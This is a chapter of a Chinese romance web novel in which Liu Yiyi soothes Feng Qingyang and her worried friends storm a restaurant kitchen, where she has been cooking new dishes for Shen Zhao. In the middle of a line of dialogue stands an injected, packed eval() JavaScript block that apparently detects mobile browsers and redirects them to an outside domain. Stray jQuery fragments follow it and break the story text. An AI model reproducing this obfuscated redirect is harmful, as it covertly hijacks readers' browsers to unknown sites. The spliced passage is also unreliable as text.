看着风清扬一双墨玉般的双眸,如受惊的小鹿般闪烁颤动,柳依依立马就心软了。
她摇摇头,没说话。
风清扬只当这摇头是另一种意思,当即脸色一白,攥紧了手指,神情紧张。
“你听我解释。那日,突然之间听说你要走,我一时情急,却回想不出自己说错何话、做错了何事,才惹你厌烦。怔忪之间,又突然犯病,脑袋昏昏沉沉的,不知道自己做了什么,并没有以病胁迫你的意思。”
末了,他又小心翼翼地补了一句:“依依,你不会为了这个生我气的,对么?”
那忽闪的黑眸,轻若飞絮的语调,顿时让柳依依的心软成了一滩水。
她再次摇头,微笑着柔声道:“嗯,我没有生气。你不要乱想。”
可那双颤如惊鹿的玉眸里,似是还不放心。风清扬睫毛忽闪,又轻声问道:“你那日所言……还作数么?”
“什么?”柳依依一时没有明白。
“你还要搬走么?”风清扬鼓足了勇气问道。
“不了。”柳依依坦言道。
计划赶不上变化。既然已经与沈昭谈妥了,眼下食肆便不着急开了,连糖水摊子都可以歇息一阵,搬家之事自然可以先停一停。
风清扬闻言面上一喜,眼眸里瞬间亮起光彩。
柳依依避开了对方的凝视,垂眸道:“我刚刚那力道,你这肩头只怕是要肿了,快回去上药吧。”
“好,好。”
风清扬高兴地连声应道,往边上错开一步,同柳依依并肩往院里走去,却时不时又偏过头来,瞟上一眼,嘴角还挂着笑。
柳依依一路目不斜视,自动忽略掉身旁之人深情款款的注视,故作镇定地回了房,关了门。
“清扬,我该拿你怎么办才好呢。”
房内,她背靠门板,无奈叹气出声,声音几不可闻……
接下来的几日,柳依依果真如她所言,没有再提搬家的事,还将新定的铺子和宅院退了。所幸只付了订金,店家也算通情理,返还了部分,损失不大。
糖坊那边,王寡妇也回来了,她也不用再日日去店里守着。可她还是每日天不亮就出门,夜深人静时才归家,连柳二牛都有四五日没见上面。
而这一日,她更是连别院都没回,直接宿在了客栈。
等她再度精神焕发地出现在福全酒楼的后厨时,连沈昭都不由得关切起她的身体。
“姑娘可真是拼命三娘。”
柳依依捻起一朵糖渍樱花,放在一格圆形的模具中,这才冲着沈昭露齿一笑。
“你这算夸我么?”
“那是自然。”
沈昭坦诚应道,轻摇慢扇,绕着柳依依那处的桌案,踱步而行。
看着长桌上十来份造型各异的精致菜肴,还皆是他从未见过的,沈昭不由得收了玉扇,专心细看。
他摇头轻叹:“姑娘之慧心巧思,实乃少见。真是人不可貌相呐。”
“你在说我丑?”柳依依挑眉。
“不不不,我亦不是俊逸之人,又岂敢擅评姑娘之容貌,实乃为姑娘之巧手折服,有感而发。”沈昭举扇作揖,以作赔礼。
柳依依正做着甜品,手中不停,斜睨了他一眼,观他果真态度诚恳,也未再多言。
沈昭见她落落大方,性格爽利,手下纤巧翻飞,眼神专注,不由得越发欣赏。
沈昭沉吟一瞬,蓦然出声。
“我有一事,想请教姑娘。”
“你说。”柳依依眼也未抬,继续做事。
沈昭继而问道:“前几日,姑娘冒送食盒之举,难道就算定了我会答应你的条件?若我没有答应呢?”
柳依依瞥了他一眼,不紧不慢地开了腔。
“你若没有答应,我自不会再插手替你圆谎。那方宅里的女眷,看样子脾气也不太好,若是玉蓉羹再断供,又知道那菊花冻的食盒并非福全酒楼所送,惊怒之下,必然会先拿酒楼出气,找沈公子问一个治下不严之罪。”
她慢悠悠又道:“任公子如何巧舌如簧,拿不出玉蓉羹,自是无法自圆其说。此事,必会对福全酒楼名声有损,让公子蒙尘,继而影响沈家家主争夺之事。以公子之聪慧,自不会希望走至此等局面。”
沈昭心中讶然,他确实有过如此考量。
玉蓉羹一事,本就实属意外,并不在他的谋划里。若实在求之不得,在此等关键时刻,他也并不想多生事端,因小失大。
他眼神微眯,又问道:“那我若以其它法子,威逼强取了你的方子呢?”
“我提的要求又不高,也算是帮福全酒楼扬名了。公子精明能干,深谋远虑,擅审时度势,必不会如此。”柳依依再度眉开眼笑,顺便奉承了几句。
进可攻,退可守,这一招不可谓不大胆巧妙。沈昭抚掌一叹,眼中眸光更盛,笑意更浓。
还没等他再闲聊几句,酒楼掌柜急急忙忙寻了进来,说有人来闹事。
沈昭玉扇一收,刚想迈步出去,看看是怎么回事,就听得呼啦啦几个人影闯了进来。
“大胆商贩,竟敢私自拘禁良民于此,置朝廷法度于何处?”一个黑衣男子首当其冲,径直拦在沈昭面前,横眉冷目,言辞犀利,面色不善。
其后紧跟着一位白衣公子,和一位仆从,还有个紫衣女子站在门外。
“风公子,这是?”沈昭认出白衣之人熟悉的面容,不由诧异出声,对眼前的情境更是万分不解。
风清扬没有搭理他,反倒是直接快步冲到后厨女子面前,握住其双肩,细细打量,语带担忧:“依依,你果真在这儿。你没事吧?”
柳依依一愣神,看着别院里倾巢而出的众人,惊讶不已:“清扬,谢公子,还有顾姐姐,顾安。你们怎么都来了?”
顾安围拢到柳依依身边,面带忧色,惴惴道:“柳姑娘,你这几日早出晚归的,昨日更是直接没了人影儿,可把我们给担心坏了……”
他愁眉苦脸地叹了口气,忽然口中一顿,狐疑道:“莫不是真的因为那日,你交代我办的送食盒之事没办好,惹恼了这福全酒楼,才被扣在此地?”
柳依依哑然失笑,当即明白过来,赶紧解释。
“咳,哪能啊
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15448883|164584||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。我只是昨日忙得太晚,索性就没有回去,忘了知会你们了,还闹了这么大一个误会,真是抱歉!”
谢云起闻言,挡在沈昭身前的手臂略微一松,面上也露出几许尴尬之色。
“你当真没事?他没有苛责于你?”风清扬犹自不放心,不禁拧眉追问。
柳依依笑着摇摇头,还举着双手,在原地转了个圈,以自证无碍。
风清扬这才松了口气,眼中忧心之色稍减。
顾芷在门外嬉笑出声:“我说嘛,柳丫头这体格,一般人欺负不了她,你们非不放心。”
她边说边迈步进来,往那桌案上一扫,疑惑道:“你自己的食肆不开,怎得跑到这儿,给人当起厨娘来了?”
“诶,柳姑娘可不是厨娘,是我特意请来相助的财神娘子。”沈昭笑盈盈地,又摇起了玉骨扇。
财神娘子?
众人不解,均看向柳依依。
得沈昭当众如此盛赞,柳依依羞涩地摆手否认,脸上却笑开了花。
“哎呀,哪有那么夸张……不过,一句两句的,也解释不清,不如你们先去外面坐会儿,我收拾收拾就来。”
沈昭也执扇作引,笑容满面:“各位都是柳姑娘的朋友,刚刚之事怕是个误会。不如,先去雅间小憩片刻,待在下略备酒菜,给各位赔罪。”
风清扬抿唇不语,本不欲离开,却是被柳依依连哄带推地,送出了后厨。
步履不停之间,他余光一瞥,只见柳依依转过身去,走至沈昭身旁,又在其耳畔耳语了几句。随后两人相视一笑,方才分开。
“各位,请跟我来。”沈昭快步越过几人,在前方带路。
风清扬回眸一看,见柳依依早已背对着自己,在灶台前忙活着什么,终是面色复杂地先去了雅间。
沈昭久居商场,能言会道,妙语连珠,顾芷同他聊得十分开怀,兴趣盎然。
当说到江南逸闻趣事时,连谢云起也被勾起了兴趣,侧耳倾听了几句。
独独风清扬不苟言笑,端坐在一旁,时不时往门外瞟去。
不多时,柳依依携了几位伙计来布菜,雅间里瞬间香气扑鼻,令人食指大动。
“这都是柳姑娘近日琢磨的新菜,各位不妨先品评一番。”沈昭笑呵呵地招呼。
柳依依在沈昭身旁落了座,随之说道:“这是凉拌皮蛋,皮蛋瘦肉粥和三色皮蛋糕,顾姐姐应当会喜欢的。”
顾芷本欲举箸先去尝那三色皮蛋糕,却瞥见对侧的谢云起望着乌黑的凉拌皮蛋,双眉紧皱,一脸嫌恶。她顿时气不打一处来,掉转筷头,当即在他面前夹了一块,一口吞下。
“怎么,不敢呐?”她斜眼瞅了对方一眼,面带挑衅。
“这有什么不敢的。”谢云起被激得面上一红,也伸筷去夹。
他苦着个脸塞入口中,咀嚼了一番,忽又目露惊讶:“原来是这般口感,确实独特。”
“我初见此菜时也如谢兄一般,颇有顾虑,倒不如顾姑娘一般豪爽。要不是柳姑娘再三劝慰,我都要错失这番美味了。”
沈昭在一旁举扇轻笑。